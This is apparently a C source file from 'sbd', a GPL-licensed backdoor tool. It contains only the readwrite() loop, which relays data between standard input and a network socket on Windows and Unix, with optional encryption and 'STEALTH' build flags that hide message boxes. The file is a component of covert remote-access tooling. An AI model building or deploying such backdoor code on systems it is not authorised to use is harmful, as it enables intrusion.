1 /*
2  * sbd - shadowinteger's backdoor
3  * Copyright (C) 2004 Michel Blomgren <michel.blomgren@tigerteam.se>
4  *
5  * This program is free software; you can redistribute it and/or modify it
6  * under the terms of the GNU General Public License as published by the Free
7  * Software Foundation; either version 2 of the License, or (at your option)
8  * any later version.
9  *
10  * This program is distributed in the hope that it will be useful, but WITHOUT
11  * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
12  * FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License for
13  * more details.
14  *
15  * You should have received a copy of the GNU General Public License along
16  * with this program; if not, write to the Free Software Foundation, Inc., 59
17  * Temple Place, Suite 330, Boston, MA  02111-1307  USA
18  *
19  * See the COPYING file for more information.
20  */
21 
22 #ifdef WIN32
23 
24 /* for Windows... */
readwrite(SOCKET peersd)25 int readwrite(SOCKET peersd) {
26     char buf[BUFSIZE];
27 
28     #ifndef WINMAIN
29         int stdin_is_tty;
30     #endif
31 
32 
33     #ifndef WINMAIN
34         if (!_isatty(STDOUT_FILENO)) {
35             _setmode(STDOUT_FILENO, _O_BINARY);
36         }
37 
38         if ((stdin_is_tty = _isatty(STDIN_FILENO)) == FALSE) {
39             _setmode(STDIN_FILENO, _O_BINARY);
40         }
41     #endif
42 
43 
44     while(1) {
45         fd_set fds;
46         struct timeval tv;
47 
48         FD_ZERO(&fds);
49         FD_SET(peersd, &fds);
50 
51         tv.tv_sec = 0;
52         tv.tv_usec = 1000;
53 
54         if (select(FD_SETSIZE, &fds, NULL, NULL, &tv) != SOCKET_ERROR) {
55             int cnt;
56             if (FD_ISSET(peersd, &fds)) {
57                 if (use_encryption) {
58                     /* note: pel_recv_msg() modifies cnt */
59                     cnt = sizeof(buf);
60                     if (pel_recv_msg(peersd, buf, &cnt) != PEL_SUCCESS) {
61                         #ifdef DEBUG
62                             #ifndef WINMAIN
63                                 fprintf(stderr, "pel_recv_msg failed\n");
64                             #else
65                                 errbox("pel_recv_msg failed!");
66                             #endif
67                         #endif
68                         break;
69                     }
70                     if (cnt == 0) {
71                         break;
72                     }
73                 } else {
74                     if ((cnt = recv(peersd, buf, sizeof(buf), 0)) == SOCKET_ERROR) {
75                         int wsaerr = WSAGetLastError();
76                         if (wsaerr == WSAEWOULDBLOCK) { /* don't think this is used */
77                             continue;
78                         } else {
79                             break;
80                         }
81                     } else if (cnt == 0) {
82                         break;
83                     }
84                 }
85 
86                 #ifndef WINMAIN
87                     if (highlight_incoming) {
88                         write(STDOUT_FILENO, highlight_prefix, sizeof(highlight_prefix)-1);
89                         write(STDOUT_FILENO, buf, cnt);
90                         write(STDOUT_FILENO, highlight_suffix, sizeof(highlight_suffix)-1);
91                     } else {
92                         write(STDOUT_FILENO, buf, cnt);
93                     }
94                 #else
95                     #ifndef STEALTH
96                     forkmsgbox(buf, cnt);
97                     #endif
98                 #endif
99 
100             }
101         } else {
102             #ifndef WINMAIN
103             if (!quiet)
104                 fprintf(stderr, "select(): %s\n", WSAstrerror(WSAGetLastError()));
105             #else
106                 #ifndef STEALTH
107                 if (!quiet)
108                     wsaerrbox("select()", WSAGetLastError());
109                 #endif
110             #endif
111             break;
112         }
113 
114 #ifndef WINMAIN
115         if (stdin_is_tty) {
116             if (kbhit()) {
117                 /* once a key is hit, read() will block until CR has been
118                  * received :\ */
119                 int cnt = read(STDIN_FILENO, buf, sizeof(buf));
120                 if (cnt <= 0) {
121                     break;
122                 }
123 
124                 if (use_encryption) {
125                     if (prefix_outgoing_with) {
126                         char stackbuf[128];
127                         snprintf(stackbuf, sizeof(stackbuf), "%s%s", prefix_outgoing_with, separator_between_prefix_and_data);
128                         if (pel_send_msg(peersd, stackbuf, strlen(stackbuf)) != PEL_SUCCESS) {
129                             #ifdef DEBUG
130                                 fprintf(stderr, "pel_send_msg failed\n");
131                             #endif
132                             break;
133                         }
134                     }
135                     if (pel_send_msg(peersd, buf, cnt) != PEL_SUCCESS) {
136                         #ifdef DEBUG
137                             fprintf(stderr, "pel_send_msg failed\n");
138                         #endif
139                         break;
140                     }
141                 } else {
142                     if (prefix_outgoing_with) {
143                         char stackbuf[128];
144                         snprintf(stackbuf, sizeof(stackbuf), "%s%s", prefix_outgoing_with, separator_between_prefix_and_data);
145                         send(peersd, stackbuf, strlen(stackbuf), 0);
146                     }
147                     send(peersd, buf, cnt, 0);
148                 }
149             }
150         } else {
151             /* for every line read from the socket, this will block until a CR
152                has been received :(
153              */
154             int cnt = read(STDIN_FILENO, buf, sizeof(buf));
155             if (cnt <= 0) {
156                 break;
157             } else {
158                 if (use_encryption) {
159                     if (pel_send_msg(peersd, buf, cnt) != PEL_SUCCESS) {
160                         #ifdef DEBUG
161                             #ifndef WINMAIN
162                                 fprintf(stderr, "pel_send_msg failed\n");
163                             #else
164                                 #ifndef STEALTH
165                                 errbox("pel_send_msg failed!");
166                                 #endif
167                             #endif
168                         #endif
169                         break;
170                     }
171                 } else {
172                     send(peersd, buf, cnt, 0);
173                 }
174             }
175         }
176 #endif
177 
178     }
179     return 0;
180 }
181 
182 #else
183 
184 /* for Unix-like operating systems... */
readwrite(int peersd)185 int readwrite(int peersd) {
186     char buf[BUFSIZE];
187     int skipstdin = 0;
188 
189     while(1) {
190         fd_set fds;
191         struct timeval to1;
192         int sel;
193 
194         FD_ZERO(&fds);
195         if (!skipstdin) {
196             FD_SET(STDIN_FILENO, &fds);
197         }
198         FD_SET(peersd, &fds);
199 
200         if (immobility_timeout > 0) {
201             to1.tv_sec = immobility_timeout;
202             to1.tv_usec = 0;
203             sel = select(FD_SETSIZE, &fds, NULL, NULL, &to1);
204         } else {
205             sel = select(FD_SETSIZE, &fds, NULL, NULL, NULL);
206         }
207         if (sel > 0) {
208             int cnt;
209             if (FD_ISSET(STDIN_FILENO, &fds)) {
210                 if ((cnt = read(STDIN_FILENO, buf, sizeof(buf))) < 1) {
211                     if ((cnt < 0) && (errno == EWOULDBLOCK || errno == EAGAIN)) {
212                         continue;
213                     } else {
214                         skipstdin = 1;
215                         continue;
216                     }
217                 }
218 
219                 if (use_encryption) {
220                     if (prefix_outgoing_with) {
221                         char stackbuf[128];
222                         snprintf(stackbuf, sizeof(stackbuf), "%s%s", prefix_outgoing_with, separator_between_prefix_and_data);
223                         if (pel_send_msg(peersd, stackbuf, strlen(stackbuf)) != PEL_SUCCESS) {
224                             #ifdef DEBUG
225                                 fprintf(stderr, "pel_send_msg failed\n");
226                             #endif
227                             break;
228                         }
229                     }
230                     if (pel_send_msg(peersd, buf, cnt) != PEL_SUCCESS) {
231                         #ifdef DEBUG
232                             fprintf(stderr, "pel_send_msg failed\n");
233                         #endif
234                         break;
235                     }
236                 } else {
237                     if (prefix_outgoing_with) {
238                         char stackbuf[128];
239                         snprintf(stackbuf, sizeof(stackbuf), "%s%s", prefix_outgoing_with, separator_between_prefix_and_data);
240                         send(peersd, stackbuf, strlen(stackbuf), 0);
241                     }
242                     send(peersd, buf, cnt, 0);
243                 }
244             }
245 
246             if (FD_ISSET(peersd, &fds)) {
247                 if (use_encryption) {
248                     /* note: pel_recv_msg() modifies cnt */
249                     cnt = sizeof(buf);
250                     if (pel_recv_msg(peersd, buf, &cnt) != PEL_SUCCESS) {
251 #ifdef DEBUG
252                         fprintf(stderr, "pel_recv_msg failed\n");
253 #endif
254                         break;
255                     }
256                 } else {
257                     if ((cnt = recv(peersd, buf, sizeof(buf), 0)) < 1) {
258                         if ((cnt < 0) && (errno == EWOULDBLOCK || errno == EAGAIN)) {
259                             continue;
260                         } else {
261                             break;
262                         }
263                     }
264                 }
265                 if (highlight_incoming) {
266                     write(STDOUT_FILENO, highlight_prefix, sizeof(highlight_prefix)-1);
267                     write(STDOUT_FILENO, buf, cnt);
268                     write(STDOUT_FILENO, highlight_suffix, sizeof(highlight_suffix)-1);
269                 } else {
270                     write(STDOUT_FILENO, buf, cnt);
271                 }
272             }
273         } else {
274             /* break loop if select() returns 0 or < 0 */
275             break;
276         }
277     }
278     return 0;
279 }
280 #endif
281